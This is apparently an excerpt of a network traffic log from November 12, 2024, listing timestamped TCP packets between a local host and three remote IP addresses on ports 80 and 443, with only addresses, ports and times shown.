Nov 12, 2024 06:23:38.267268896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267282963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267288923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267302036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267311096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267318964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267332077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267339945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267352104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267359018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267369986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267379999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267390013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267395973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267405987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267412901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267429113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267435074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267460108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.458431005 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.505569935 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.515074015 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.515091896 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.515599966 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.515604973 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.544224024 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.576034069 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.586765051 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.598952055 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.598962069 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.599493027 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.599498034 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.612133026 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.616107941 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.616131067 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.616775036 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.616780996 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.616842031 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.618094921 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.618099928 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.618813038 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.618818045 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.644793987 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.644855022 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.644956112 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.646020889 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.646037102 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.646045923 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.646050930 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.658792019 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.659251928 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.659281015 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.659897089 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.659903049 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.674428940 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.674458027 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.674540997 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.675091982 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.675107002 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.724461079 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.724535942 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.724771023 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.728547096 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.741266966 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.741319895 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.741368055 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.747484922 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.747504950 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.747533083 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.747585058 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.762058020 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.775741100 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:38.778289080 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.778300047 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.778320074 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.778325081 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.782399893 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:38.782407045 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.783458948 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:38.783464909 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.783499002 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:38.783507109 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.789072990 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.789125919 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.789160967 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.789180994 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.789235115 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.789263010 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.789279938 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.789290905 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.789297104 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.790689945 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.790704012 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.790718079 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.790723085 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.797194958 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.797195911 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.797211885 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.797219992 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.798130989 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:38.798140049 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.799551964 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:38.799556017 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.799751043 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:38.799766064 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:38.841888905 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.841912031 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.842039108 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.846079111 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.846106052 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.846312046 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.846851110 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.846863031 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.847909927 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.847923994 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.848736048 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.848745108 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.848824978 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.849113941 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.849124908 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.849747896 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.849766970 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:38.849924088 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.850708961 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:38.850719929 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.171243906 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.171266079 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.171535969 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.171564102 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.177354097 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.177354097 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.177377939 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.177535057 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.177565098 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.177673101 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.218760967 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.218782902 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.219049931 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.219099998 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.219105959 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.412939072 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.419329882 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.419329882 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.419346094 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.419353962 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.487270117 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:39.487432957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:39.492047071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:39.492203951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:39.545664072 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.545716047 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.545773029 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.547700882 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.547713041 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.547759056 CET	54590	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.547765017 CET	443	54590	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.551615953 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.551642895 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.552038908 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.552371025 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.552383900 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.586461067 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.590699911 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.591025114 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.598993063 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.599009991 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.599754095 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.599756002 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.599761963 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.599776030 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.600392103 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.600395918 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.600656033 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.600663900 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.601058960 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.601064920 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.603853941 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.604207039 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.604228020 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.604614973 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.604619026 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.728482962 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.728689909 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.728734970 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.729912996 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.730034113 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.730076075 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.730216026 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.731297016 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.731796026 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.732930899 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.732961893 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.733064890 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.734726906 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.746325970 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.746325970 CET	54595	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.746334076 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.746341944 CET	443	54595	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.747302055 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.747319937 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.747339010 CET	54594	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.747344017 CET	443	54594	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.748224020 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.748234987 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.748266935 CET	54596	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.748272896 CET	443	54596	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.748970032 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.748970032 CET	54593	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.748975039 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.748981953 CET	443	54593	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.753511906 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.753536940 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.753978968 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.754267931 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.754286051 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.754347086 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.754920006 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.754929066 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.755836010 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.755846977 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.756246090 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.756256104 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.757703066 CET	54604	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.757735014 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.757762909 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.757962942 CET	54604	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.757963896 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.757972956 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.757985115 CET	54604	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:39.757989883 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:39.848212004 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.848237038 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.848243952 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.848267078 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.848292112 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.848299026 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.848329067 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.867791891 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.867791891 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:39.867805004 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.867954969 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.867984056 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:39.868036032 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.066047907 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.066102028 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.066252947 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.077585936 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.077600002 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.258618116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:40.258690119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:40.270447016 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.271835089 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.271850109 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.279007912 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.279014111 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.279057026 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.279069901 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.294938087 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.295892954 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.295901060 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.296411037 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.296415091 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.409701109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:40.415007114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:40.426853895 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.426953077 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.427020073 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.445034027 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.445044041 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.445053101 CET	54599	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.445058107 CET	443	54599	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.464509964 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.464533091 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.464664936 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.464886904 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.464900017 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.485887051 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.486424923 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.486439943 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.486870050 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.486874104 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.488128901 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.488411903 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.488420010 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.488780975 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.488785028 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.497792959 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.498111963 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.498133898 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.498624086 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.498629093 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.500313044 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.500611067 CET	54604	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.500633955 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.501055956 CET	54604	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.501060963 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.615621090 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.615681887 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.616066933 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.616192102 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.616204977 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.616213083 CET	54601	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.616218090 CET	443	54601	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.618943930 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.618963957 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.618963957 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.619060040 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.619097948 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.619148016 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.619178057 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.619178057 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.619244099 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.619244099 CET	54603	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.619249105 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.619256020 CET	443	54603	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.619388103 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.619398117 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.622654915 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.622679949 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.622801065 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.622921944 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.622927904 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.631489038 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.631511927 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.631546021 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.631558895 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.631597996 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.631772041 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.631784916 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.631793022 CET	54602	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.631798029 CET	443	54602	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.633843899 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.633853912 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.633948088 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.633970976 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.634025097 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.634110928 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.634116888 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.634138107 CET	54604	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.634331942 CET	54604	443	192.168.2.5	13.107.246.45
